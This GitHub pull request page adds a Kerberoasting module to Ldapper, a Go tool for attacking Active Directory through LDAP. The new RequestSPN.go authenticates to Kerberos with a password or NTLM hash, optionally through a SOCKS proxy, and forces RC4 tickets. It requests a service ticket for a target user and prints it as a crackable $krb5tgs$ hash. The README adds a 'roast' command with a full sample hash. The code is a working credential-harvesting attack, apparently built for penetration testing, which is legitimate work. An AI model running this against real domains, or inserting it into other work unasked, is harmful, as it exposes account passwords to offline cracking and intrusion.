Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Roast Module #5

Merged
merged 16 commits into from
Aug 23, 2022
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,10 @@
!*.*

# ignore any vscode or GoLang generated file
go.*
go.sum
.vscode/

# ignore random MacOs and text/log files
.DS_Store
*.txt
*.log
*.log
91 changes: 91 additions & 0 deletions Commands/RequestSPN.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,91 @@
package Commands

import (
"fmt"
"strings"
"encoding/hex"
"github.com/jcmturner/gokrb5/v8/config"
"github.com/jcmturner/gokrb5/v8/client"
"github.com/jcmturner/gokrb5/v8/iana/etypeID"
"log"
"os"
)


// dont really like this string for the config
// would rather just create a new config and make changes via functions
// would be easier to read
// cant seem to figure out how to add a [realm] though
const (
libdefault = `[libdefaults]
default_realm = %s
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew_lifetime = 5
forwardable = yes
proxiable = true
default_tkt_enctypes = rc4-hmac
default_tgs_enctypes = rc4-hmac
noaddresses = true
udp_preference_limit=1
[realms]
%s = {
kdc = %s:88
default_domain = %s
}`
)

func RequestSPN(targetUser string, username string, password string, ntlm string, domain string, dc string, socksServer string, socksType int) (spnResult string) {

var cl *client.Client
var ticket string

// Need domain in uppercase for GOKRB5 Config
domain = strings.ToUpper(domain)

l := log.New(os.Stderr, "GOKRB5 Client: ", log.Ldate|log.Ltime|log.Lshortfile)

c, err := config.NewFromString(fmt.Sprintf(libdefault, domain, domain, dc, domain))

if err != nil {
l.Fatalf("Error Loading Config: %v\n", err)
}

// Create a Kerberos client with either password or hash
if password != ""{
cl = client.NewWithPassword(username, domain, password, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false))
}else if ntlm != ""{
cl = client.NewWithHash(username, domain, ntlm, c, client.DisablePAFXFAST(true), client.AssumePreAuthentication(false))
}

// Add socks info to client config if enabled
if socksServer != "" {
cl.Config.Socks.Enabled = true
cl.Config.Socks.Version = socksType
cl.Config.Socks.Server = socksServer
}

err = cl.Login()
if err != nil {
l.Fatalf("Erron on AS_REQ: %v\n", err)
}

tgt, _, err := cl.GetServiceTicket(targetUser)

// only printing out RC4 encrypted tickets currently
if err != nil {
l.Printf("Error getting service ticket: %v\n", err)
}else if tgt.EncPart.EType == etypeID.RC4_HMAC {
checksumHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[:16])))
hex.Encode(checksumHex, tgt.EncPart.Cipher[:16])

cipherHex := make([]byte, hex.EncodedLen(len(tgt.EncPart.Cipher[16:])))
hex.Encode(cipherHex, tgt.EncPart.Cipher[16:])
ticket = fmt.Sprintf("$krb5tgs$%d$*%s$%s$%s*$%s$%s\n", tgt.EncPart.EType, tgt.SName.NameString[0], tgt.Realm, tgt.SName.NameString[0], checksumHex, cipherHex)
}else if tgt.EncPart.EType != etypeID.RC4_HMAC {
// Don't belive this would happen becuase we only offer rc4 encrpytion based on our config
l.Printf("Invalid encryption type")
}
return ticket
}
16 changes: 15 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -12,6 +12,7 @@ Ldapper is proxy aware and supports NTLM authentication with a user's hash. Addi

- Add Domain Computers
- Add/Remove Arbitrary SPNs
- Kerberoast

This tool should be considered in its beta stages. Please report any bugs, issues, or functionality ideas for future releases.

Expand All @@ -34,6 +35,7 @@ This tool should be considered in its beta stages. Please report any bugs, issue
- [Command Modules](#command-modules)
- [Add Computer](#add-computer)
- [Add SPN](#add-spn)
- [Kerberoast](#kerberoast)
- [Logging](#logging)
- [Proxy Support](#proxy-support)

Expand All @@ -42,7 +44,6 @@ This tool should be considered in its beta stages. Please report any bugs, issue
Ldapper can be built and ran using the following commands inside of the repository folder:

```
go mod init ldapper - initialize the Go project
go mod tidy - pull down all necessary dependencies
go build - build Ldapper
./ldapper - run Ldapper
Expand Down Expand Up @@ -196,6 +197,7 @@ CIFS/AZRWLPT1000000 HOUSTON_MCBRIDE 2022-07-24 21:05:43 -0400 EDT
CIFS/ESMWLPT1000000 DOLLY_MCLEAN 2022-07-15 00:38:54 -0400 EDT <never>

```

## Machine Account Quota
This module queries for the machine account quota of the domain. Syntax is as follows:

Expand Down Expand Up @@ -248,6 +250,18 @@ Successfully added SPN: "blah/blah" for user "hanzo"
```
> spn delete hanzo blah/blah
Successfully deleted SPN: "blah/blah" for user "hanzo"
```
## Kerberoast

The `roast` module will request and print the service ticket encrypted with the users password. Syntax is as follow:

- `roast <user>`

```
> roast LIDIA_ELLIOT

$krb5tgs$23$*LIDIA_ELLIOT$RANGE.COM$LIDIA_ELLIOT*$31d99685e614b96bb9fab3a534f3a68d$8cfae8a06c390b037bc6c1e4200de88e2d4320b189c8e58dbfb3579b96db0b6afc6645c082d3067e9ba07259cc23f3b02e8c28e02cb90ae29edeedb91c7f02e7a7700d82dc0a0a69081357e37d0db75a224d5f6b4ac61f1bad707eac16c83dae44e0d85e941e90205d7d38f374cd6796b9733bc9e2d27a8588312cb08b0323c40a221b2204eb4eb1af75111ce8b75aa5ebb0b765e1a28f6103a54f2e72b8b6cebb73c0997cc2de4285f462e5d91d608ef628fee624e490e17441bb5b8d9a96e1680d92f151aa12296c3e4370b1ce6a1209b56b7ca1ee52022442db642595db9474c76169e2be5fd4d2e5af13caa61958e8466ac2c021a9ea61ca1857c4463ccfdd65eec6eef3f06c12178703d467e76246f3b6ae5f3248e93d4e58b8ce320a1f25e0bfa683ac014c047105d5030f2d1caea9243bd0ded2009ae6e79122e38e49a81747a93f98ba2557671d48da09fa6475e3d4373dee80f705a482aded93abeab77b337c47d904292dc0f08c89fcb009dd09e101a8a71c3060d9ebc2620b331454e971d51fa9fdab9b8b7f42cb606ac0ca6a85852912ba91266c9e1fcaf33b6cef49fccd490526509955dc5bf6744c9787271819e86f8cb18a999a85c37503d837b10a434ab1ae717f82fc139ba60989b70934a3a6eb62a2ad7dc3af7b70e120b45233059c4606227adc11a86be8cd688b7a2984a782c723f4fb018e6e068e3667a697c6bb761f1cc90cdee0ed51fd2904c89766105976e1ef2d33714f31dbd71ae2a56d674d9998196c160b8847236e77997ebff66d6bf8605c59d04949e1e16b6f60429db005f83bd8719a6e952dc56166d681053a7b7e1461cc3d6b408a21ee6cbe907adacc7650df0e5188d4e1279516f934e97e295e6501dfb20462e0d59edf42a391f7dbf39dcc791bc97c7d77bf66146df570cfccdd92694581232a823ba0174045f4b37343ceb888641c5ccf3f6e10e35957d07974f39fd7b0c5018eb5707f4556b1f73a47c0e081ecdca708d5da866cdaf8ca7131ff0fd9a6a58db6073918368bdc8b2635e3ee2e016136e2cea53fd1f717dd0a86dfdc050f6e46bbd2913c3df5f98fd54784bcee5d74ad8728d8dd1758a5034a326b6b28a2fc1e159e3fe4c0311af57d67c58099932b452921224c1d957626e1603bcd2bc77c8fce394dc0026f289398c9191092075f598055f3b2aeaef83b0b09f55a97bce331c5e4e2904bafbd84bb62d2bfcf9d817f29fe0c67c9bbae7c081c6ea22a20edac1db8588f9a42b636c59f7f6388d5607b243ed873fee7bff9f839c892bf7685fdb9f8fabd90fa3bfa14d13d8c4cc0dcf8865917ea1c4df3634922714bdca305ae6e3c87c34e2b949af7cf3cecd7b4545332088084dcdd3c221a9d75497fdca897

```

# Logging
Expand Down
23 changes: 23 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
module ldapper

require (
github.com/go-ldap/ldap/v3 v3.4.4
github.com/jcmturner/gokrb5/v8 v8.4.3
github.com/mazen160/go-random v0.0.0-20210308102632-d2b501c85c03
golang.org/x/text v0.3.7
h12.io/socks v1.0.3
)

require (
github.com/Azure/go-ntlmssp v0.0.0-20220621081337-cb9428e4ac1e // indirect
github.com/go-asn1-ber/asn1-ber v1.5.4 // indirect
github.com/hashicorp/go-uuid v1.0.3 // indirect
github.com/jcmturner/aescts/v2 v2.0.0 // indirect
github.com/jcmturner/dnsutils/v2 v2.0.0 // indirect
github.com/jcmturner/gofork v1.7.6 // indirect
github.com/jcmturner/rpc/v2 v2.0.3 // indirect
golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa // indirect
golang.org/x/net v0.0.0-20220725212005-46097bf591d3 // indirect
)

replace github.com/jcmturner/gokrb5/v8 => github.com/mfdooom/gokrb5/v8 v8.4.3-0.20220811043259-08c37c0bdf17
34 changes: 22 additions & 12 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -21,7 +21,7 @@ import (
)

type FlagOptions struct {
upn string
upn string
password string
ntlm string
dc string
Expand All @@ -47,7 +47,7 @@ func options() *FlagOptions {

flag.Parse()
return &FlagOptions{
upn: *upn,
upn: *upn,
password: *password,
ntlm: *ntlm,
dc: *dc,
Expand Down Expand Up @@ -77,18 +77,20 @@ func main() {
var err error
var domain string
var username string
var target []string
var target []string
var socksType int
var socksAddress string

target = strings.Split(opt.upn, "@")

// Did the user supply the username correctly <user@domain>?
if len(target) == 1 {
opt.help = true
}else {
username = target[0]
domain = target[1]
opt.help = true
} else {
username = target[0]
domain = target[1]
}

// if required flags aren't set, print help
if username == "" || opt.dc == "" || (opt.password == "" && opt.ntlm == "") || opt.help {
flag.Usage()
Expand All @@ -107,8 +109,6 @@ func main() {
port = "389"
}

var socksType int
var socksAddress string
if opt.socks4 != "" {
//set socks to socks4
socksType = socks.SOCKS4
Expand Down Expand Up @@ -163,7 +163,7 @@ func main() {

// if password option set
if opt.password != "" {
err = conn.Bind(opt.upn, opt.password)
err = conn.Bind(opt.upn, opt.password)
if err != nil {
log.Fatal(err)
} else {
Expand All @@ -173,7 +173,7 @@ func main() {

// if ntlm hash option set
if opt.ntlm != "" {
err = conn.NTLMBindWithHash(domain, username, opt.ntlm)
err = conn.NTLMBindWithHash(domain, username, opt.ntlm)
if err != nil {
fmt.Print("test\n")
log.Fatal(err)
Expand Down Expand Up @@ -217,6 +217,7 @@ func main() {
"Commands:\n" +
"\taddComputer <computerName$> (Requires LDAPS)\n" +
"\tspn <add/delete> <targetUser> <spn>\n" +
"\troast <targetUser>\n" +
"Exit:\n" +
"\texit"
fmt.Println(help)
Expand Down Expand Up @@ -341,6 +342,15 @@ func main() {

Globals.OutputAndLog(opt.logFile, spnLog, 0, 0, 0, false)

case "roast":
if len(userInput) == 1 {
fmt.Println("Incorrect number of arguments. Usage: roast <targetUser>")
break
}
roastuser := userInput[1]

result := Commands.RequestSPN(roastuser, username, opt.password, opt.ntlm, domain, opt.dc, socksAddress, socksType)
Globals.OutputAndLog(opt.logFile, result, 0, 0, 0, false)
case "mquota":
result := Queries.GetMachineQuota(baseDN, conn)
Globals.OutputAndLog(opt.logFile, result, 0, 0, 0, false)
Expand Down